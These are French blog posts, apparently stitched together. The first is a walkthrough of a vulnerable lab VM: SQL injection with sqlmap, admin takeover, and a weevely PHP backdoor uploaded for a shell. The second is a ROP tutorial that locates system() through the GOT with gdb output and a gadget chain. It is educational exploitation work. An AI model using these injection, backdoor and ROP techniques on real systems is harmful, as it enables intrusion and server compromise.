Une fois démarrée sous VMware, la machine publie un site web de gestion de news. On repère rapidement une injection SQL dans le module d'affichage des news:
http://192.168.1.98/index.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 #
On va utiliser l'outil sqlmap pour piller la DB du site sans se fouler la cheville:
[14:48:38] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5 web application technology: PHP 5.2.6, Apache 2.2.3 back-end DBMS: MySQL 5.0.11 [14:48:38] [INFO] fetching database names available databases [5]: [*] cms [*] information_schema [*] mysql [*] roundcube [*] test
On peut maintenant se connecter en tant qu'administrateur du CMS.
En observant le module de création d’événement, on repère rapidement qu'il est possible d'uploader n'importe quel type de fichier via le champs image du formulaire...
On va utiliser weevely , un shell php plutôt sympa:
On va tout d'abord générer notre backdoor:
$ ./weevely.py generate p4ssw0rd evil.php
Weevely 0.6 - Generate and manage stealth PHP backdoors Emilio Pinna 2011-2012
+ Backdoor file 'evil.php' created with password 'p4ssw0rd'.
On la dépose ensuite sur le site cible par le formulaire de création d’événement, puis, on tente de s'y connecter:
$ ./weevely.py http://192.168.1.98/files/evil.php p4ssw0rd Weevely 0.6 - Generate and manage stealth PHP backdoors Emilio Pinna 2011-2012
[+] Starting terminal. Shell probe may take a while...
[+] List modules with and show help with :show [module name]
apache@localhost.localdomain:/var/www/html/files$ id uid=48(apache) gid=48(apache) groups=48(apache) apache@localhost.localdomain:/var/www/html/files$
J'ai eu d'une part la flemme d'aller plus loin, et d'autre part l'exploit nécessite certains paramètres un peu aléatoires que je n'ai pas le courage de chercher...
Depuis quelques temps, c'est le challenge "RootMe" qui héberge mon wargame Vanilla Dome, sous le nom "HBinary", pour Hardened Binary.
Je vous recommande d'aller faire un tour sur leur plateforme, dédiée a l'apprentissage du hacking, qui est bourrée de challenges et de personnes sympas.
NB: Ce billet est la suite de mon précédent billet "ROPoc" ; donc, le lire sans avoir lu l'introduction au préalable risque d'être un poil compliqué!
Après avoir lu et étudié l'article que m'a soufflé Mysterie en réponse a mon précédent billet, j'ai décidé d'en reprendre l'exploitation afin d'illustrer un peu mieux la technique présentée.
Un peu de musique au cas ou et parce que je suis fan :
Principe
On désire retrouver l'adresse de system(), et ce dynamiquement.
On dispose d'une section non randomizée (.got) qui contient les adresses des fonctions utilisées par notre programme.
On sait que même si la libc est chargée aléatoirement en mémoire, elle est toujours chargée d'un bloc.
Donc on peut utiliser une entrée de la GOT pour déterminer précisément l'adresse effective de n'importe quelle fonction de la libc a partir d'offsets préalablement calculés.
Illustrons un peu ca:
sm0k@wiid~ $ objdump -x poc | grep got 20 .got 00000004 08049ff0 08049ff0 00000ff0 2**2 21 .got.plt 00000028 08049ff4 08049ff4 00000ff4 2**2 08049ff0 l d .got 00000000 .got 08049ff4 l d .got.plt 00000000 .got.plt 08049ff4 l O .got.plt 00000000 .hidden _GLOBAL_OFFSET_TABLE_
On repère où démarre la section .got : 08049ff0
Regardons maintenant ce qu'elle contient pendant l'exécution de notre programme.
On pose pour cela un point d'arrêt sur le 'ret' de main, puis on lance le programme et on observe la GOT:
(gdb) b *main+361 Breakpoint 1 at 0x8048683 (gdb) r s Starting program: /home/sm0k/poc s [...] Breakpoint 1, 0x08048683 in main () (gdb) x/20x 0x08049ff0 0x8049ff0: 0x00000000 0x08049f20 0xb7fff8e0 0xb7ff5e50 0x804a000 <_global_offset_table_+12> : 0x08048392 0xb7ef1fa0 0xb7f0b580 0xb7eacad0 0x804a010 <_global_offset_table_+28>: 0xb7ec19e0 0xb7ef2260 0xb7edcff0 0x00000000
On voit donc que les adresses des fonctions utilisées par notre programme sont chargées dans la GOT à l'exécution....
Regardons maintenant où est chargé system() :
(gdb) x/i system 0xb7ecd520 <system>: sub $0xc,%esp
System() commence donc à l'adresse 0xb7ecd520. Et à 0xb7ec19e0 nous avons atoll(), son adresse est stockée à l'adresse 0x804a010, de la GOT.
Pour les habitués du C, nous pouvons considérer que 0x804a010 contient un pointeur vers la fonction atoll().
Nous pouvons donc en déduire que system() se situe à (0xb7ecd520 - 0xb7ec19e0)=0xbb40 (47 936 b10) bits de atoll().
Comme nous connaissons le pointeur où est stockée l'adresse de atoll(), à savoir 0x804a010, nous pouvons dire que:
adresse de system() = (Valeur contenue à l'adresse 0x804a010) + 47 936
Nous pouvons donc dynamiquement localiser system() !
Mise en pratique
C'est bien beau tout ça mais comment peut on s'en servir?
C'est là que l'article proposé par Mysterie m'a bien aidé!
L'instruction du type add registre1 [registre2-valeur] nous sauve la vie, mais regardons le shellcode qu'on va utiliser en détail afin de comprendre pourquoi:
(Je tiens à préciser que les gadgets utilisés ici ne sont peut être pas visibles dans la sortie générée par ROPEME dans mon précédent article. Ceux ci sont toujours générés par le même script mais avec une longueur maximale de 6 instructions par gadgets.)
0x8048446L:popeax|popebx|leave|| 47936 328114200 ; pop eax | pop ebx: On récupère eax puis ebx sur la pile ; 47936: Valeur que prendra eax (à savoir l'offset qu'on vient de calculer) ; 328114200: Valeur que prendra ebx ; et la vous devez vous dire "Waw ca sort d'ou ca?" ; Cette valeur résulte en fait du calcul suivant : ; ( 0x804A010 + 0xb8a0008 )=328114200. ; 0x804A010 étant notre pointeur sur atoll() dans la got ; et 0xb8a0008 la valeur ajoutée au pointeur ebx dans ; l'instruction qui va suivre:
0x804871eL:addeax[ebx-0xb8a0008]|addesp0x4 |popebx|popebp|| ; La premiere instruction ajoute à eax la valeur pointée par ; ebx+0xb8a0008 DONC comme eax =0xbb40 (47936 b10) ; et que [ebx-0xb8a0008]= 0x804A010 ALORS ; eax = [0x804A010] + 0xbb40 = 0xb7ecd520 = @system() :) ; NB: les crochets représentent la notion de pointeur en ; assembleur
0x80484cfL:calleax|leave|| 0x8048174 ; On saute sur eax, et donc system() ; 0x8048174: Adresse de la chaine "GNU"